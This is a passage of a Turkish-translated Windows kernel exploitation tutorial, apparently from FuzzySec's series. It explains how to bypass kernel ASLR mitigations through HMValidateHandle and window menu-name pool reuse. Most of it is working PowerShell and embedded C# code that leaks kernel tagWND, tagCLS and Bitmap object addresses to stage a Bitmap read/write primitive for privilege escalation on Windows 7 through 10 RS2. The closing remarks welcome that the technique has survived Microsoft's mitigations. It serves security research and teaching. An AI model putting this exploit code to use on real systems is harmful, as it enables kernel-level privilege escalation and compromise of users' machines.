echo "`n[+] ulClientDelta: $('{0:X16}' -f $ulClientDelta)"
echo "[+] User tagWND: $('{0:X16}' -f $($lpUserDesktopHeapWindow.ToInt64()))"
echo "[+] User tagCLS: $('{0:X16}' -f $($KerneltagCLS-$ulClientDelta))"
echo "[+] Kernel tagWND: $('{0:X16}' -f $($lpUserDesktopHeapWindow.ToInt64()+$ulClientDelta))"
echo "[+] Kernel tagCLS: $('{0:X16}' -f $($KerneltagCLS))"
echo "[+] Kernel tagCLS.lpszMenuName: $('{0:X16}' -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($KerneltagCLS-$ulClientDelta+0x90)))`n"
}
$hWindow = Create-WindowObject
echo "`n[+] Window handle: $hWindow"
Leak-lpszMenuName -WindowHandle $hWindow
Yukarıda POC'yi çalıştırmak bize aslında ilk sızıntıyla aynı sonucu verir, ancak daha az adımla!
Use-After-Free-Bitmap
Yine de, sanırım okuyucunun sorusu, Windows nesnelerini neden önemsiyoruz? Bitmap'im nerede seni adi? Pencere menü adı (lpszMenuName), bitmap'imiz ile aynı Kernel havuzunda tahsis edilmiştir. Buradaki fikir, büyük bir Pencere menü adı ayırmamız, onu serbest bırakmamız ve daha sonra boş belleği yeniden kullanacak olan Bitmap'imizi tahsis etmemizdir. Bu biraz zor görünüyor, ancak menü adını 4kb'den daha büyük yaparsak, düşük entropiye sahip büyük havuzda sona erer ve bu UAF tarzı sızıntıyı% 100 güvenilir kılar. Bu işlem Hızlandırıcı Tabloları kullanan RS1 baypas işlemiyle neredeyse aynıdır.
Aşağıdaki görüntü bu süreci göstermektedir.
Bunu başarmak için kullanılan PowerShell işlevi aşağıda görülebilir. Daha mantıklı bir yorum için lütfen PSKernel-Primitives deposuna bakın.
Kod:
function Stage-HmValidateHandleBitmap {
<#
.SYNOPSIS
Universal x64 Bitmap leak using HmValidateHandle.
Targets: 7, 8, 8.1, 10, 10 RS1, 10 RS2
Resources:
+ Win32k Dark Composition: Attacking the Shadow part of Graphic subsystem <= 360Vulcan
+ LPE vulnerabilities exploitation on Windows 10 Anniversary Update <= Drozdov Yurii & Drozdova Liudmila
.DESCRIPTION
Author: Ruben Boonen (@FuzzySec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.EXAMPLE
PS C:\Users\b33f> Stage-HmValidateHandleBitmap |fl
BitmapKernelObj : -7692235059200
BitmappvScan0 : -7692235059120
BitmapHandle : 1845828432
PS C:\Users\b33f> $Manager = Stage-HmValidateHandleBitmap
PS C:\Users\b33f> "{0:X}" -f $Manager.BitmapKernelObj
FFFFF901030FF000
#>
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public class HmValidateHandleBitmap
{
delegate IntPtr WndProc(
IntPtr hWnd,
uint msg,
IntPtr wParam,
IntPtr lParam);
[StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)]
struct WNDCLASS
{
public uint style;
public IntPtr lpfnWndProc;
public int cbClsExtra;
public int cbWndExtra;
public IntPtr hInstance;
public IntPtr hIcon;
public IntPtr hCursor;
public IntPtr hbrBackground;
[MarshalAs(UnmanagedType.LPWStr)]
public string lpszMenuName;
[MarshalAs(UnmanagedType.LPWStr)]
public string lpszClassName;
}
[DllImport("user32.dll")]
static extern System.UInt16 RegisterClassW(
[In] ref WNDCLASS lpWndClass);
[DllImport("user32.dll")]
public static extern IntPtr CreateWindowExW(
UInt32 dwExStyle,
[MarshalAs(UnmanagedType.LPWStr)]
string lpClassName,
[MarshalAs(UnmanagedType.LPWStr)]
string lpWindowName,
UInt32 dwStyle,
Int32 x,
Int32 y,
Int32 nWidth,
Int32 nHeight,
IntPtr hWndParent,
IntPtr hMenu,
IntPtr hInstance,
IntPtr lpParam);
[DllImport("user32.dll")]
static extern System.IntPtr DefWindowProcW(
IntPtr hWnd,
uint msg,
IntPtr wParam,
IntPtr lParam);
[DllImport("user32.dll")]
public static extern bool DestroyWindow(
IntPtr hWnd);
[DllImport("user32.dll")]
public static extern bool UnregisterClass(
String lpClassName,
IntPtr hInstance);
[DllImport("kernel32",CharSet=CharSet.Ansi)]
public static extern IntPtr LoadLibrary(
string lpFileName);
[DllImport("kernel32",CharSet=CharSet.Ansi,ExactSpelling=true)]
public static extern IntPtr GetProcAddress(
IntPtr hModule,
string procName);
public delegate IntPtr HMValidateHandle(
IntPtr hObject,
int Type);
[DllImport("gdi32.dll")]
public static extern IntPtr CreateBitmap(
int nWidth,
int nHeight,
uint cPlanes,
uint cBitsPerPel,
IntPtr lpvBits);
public UInt16 CustomClass(string class_name, string menu_name)
{
m_wnd_proc_delegate = CustomWndProc;
WNDCLASS wind_class = new WNDCLASS();
wind_class.lpszClassName = class_name;
wind_class.lpszMenuName = menu_name;
wind_class.lpfnWndProc = System.Runtime.InteropServices.Marshal.GetFunctionPointerForDelegate(m_wnd_proc_delegate);
return RegisterClassW(ref wind_class);
}
private static IntPtr CustomWndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam)
{
return DefWindowProcW(hWnd, msg, wParam, lParam);
}
private WndProc m_wnd_proc_delegate;
}
"@
#------------------[Create/Destroy Window]
# Call nonstatic public method => delegWndProc
$AtomCreate = New-Object HmValidateHandleBitmap
function Create-WindowObject {
$MenuBuff = "A"*0x8F0
$hAtom = $AtomCreate.CustomClass("BitmapStager",$MenuBuff)
[HmValidateHandleBitmap]::CreateWindowExW(0,"BitmapStager",[String]::Empty,0,0,0,0,0,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero)
}
function Destroy-WindowObject {
param ($Handle)
$CallResult = [HmValidateHandleBitmap]::DestroyWindow($Handle)
$CallResult = [HmValidateHandleBitmap]::UnregisterClass("BitmapStager",[IntPtr]::Zero)
}
#------------------[Cast HMValidateHandle]
function Cast-HMValidateHandle {
$hUser32 = [HmValidateHandleBitmap]::LoadLibrary("user32.dll")
$lpIsMenu = [HmValidateHandleBitmap]::GetProcAddress($hUser32, "IsMenu")
# Get HMValidateHandle pointer
for ($i=0;$i-lt50;$i++) {
if ($([System.Runtime.InteropServices.Marshal]::ReadByte($lpIsMenu.ToInt64()+$i)) -eq 0xe8) {
$HMValidateHandleOffset = [System.Runtime.InteropServices.Marshal]::ReadInt32($lpIsMenu.ToInt64()+$i+1)
[IntPtr]$lpHMValidateHandle = $lpIsMenu.ToInt64() + $i + 5 + $HMValidateHandleOffset
}
}
if ($lpHMValidateHandle) {
# Cast IntPtr to delegate
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lpHMValidateHandle,[HmValidateHandleBitmap+HMValidateHandle])
}
}
#------------------[lpszMenuName Leak]
function Leak-lpszMenuName {
param($WindowHandle)
$OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
$OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
if ($OSMajorMinor -eq "10.0" -And $OSVersion.Build -ge 15063) {
$pCLSOffset = 0xa8
$lpszMenuNameOffset = 0x90
} else {
$pCLSOffset = 0x98
$lpszMenuNameOffset = 0x88
}
# Cast HMValidateHandle & get window desktop heap pointer
$HMValidateHandle = Cast-HMValidateHandle
$lpUserDesktopHeapWindow = $HMValidateHandle.Invoke($WindowHandle,1)
# Calculate ulClientDelta & leak lpszMenuName
$ulClientDelta = [System.Runtime.InteropServices.Marshal]::ReadInt64($lpUserDesktopHeapWindow.ToInt64()+0x20) - $lpUserDesktopHeapWindow.ToInt64()
$KerneltagCLS = [System.Runtime.InteropServices.Marshal]::ReadInt64($lpUserDesktopHeapWindow.ToInt64()+$pCLSOffset)
[System.Runtime.InteropServices.Marshal]::ReadInt64($KerneltagCLS-$ulClientDelta+$lpszMenuNameOffset)
}
#------------------[Bitmap Leak]
$KernelArray = @()
for ($i=0;$i -lt 20;$i++) {
$TestWindowHandle = Create-WindowObject
$KernelArray += Leak-lpszMenuName -WindowHandle $TestWindowHandle
if ($KernelArray.Length -gt 1) {
if ($KernelArray[$i] -eq $KernelArray[$i-1]) {
Destroy-WindowObject -Handle $TestWindowHandle
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x50*2*4)
$BitmapHandle = [HmValidateHandleBitmap]::CreateBitmap(0x701, 2, 1, 8, $Buffer) # +4 kb size
break
}
}
Destroy-WindowObject -Handle $TestWindowHandle
}
$BitMapObject = @()
$HashTable = @{
BitmapHandle = $BitmapHandle
BitmapKernelObj = $($KernelArray[$i])
BitmappvScan0 = $KernelArray[$i] + 0x50
}
$Object = New-Object PSObject -Property $HashTable
$BitMapObject += $Object
$BitMapObject
Şuna bir bakalım.
SURFOBJ yapısı oldukça farklı ve bunun için herhangi bir sembolümüz olmasa da sızıntının başarılı olduğunu kolayca söyleyebiliriz.
Son düşünceler
Hemen hemen bu kadar! Çok sevilen Bitmap ilkelimiz, şimdiye kadar Microsoft tarafından gerçekleştirilen iki tur azaltmadan sağ çıktı. Bitmapler, çok çeşitli Kernel istismar senaryolarında uygulanabilen gerçekten güçlü (ve kullanışlı) bir okuma / yazma ilkeli sağlar. Kaçınılmaz olarak, Microsoft bu ilkeli biz onu sonsuza dek kaybedene kadar dövmeye devam edecek, ancak RS3 vurduğunda 3. tura geri dönebileceğimizi kim bilebilir....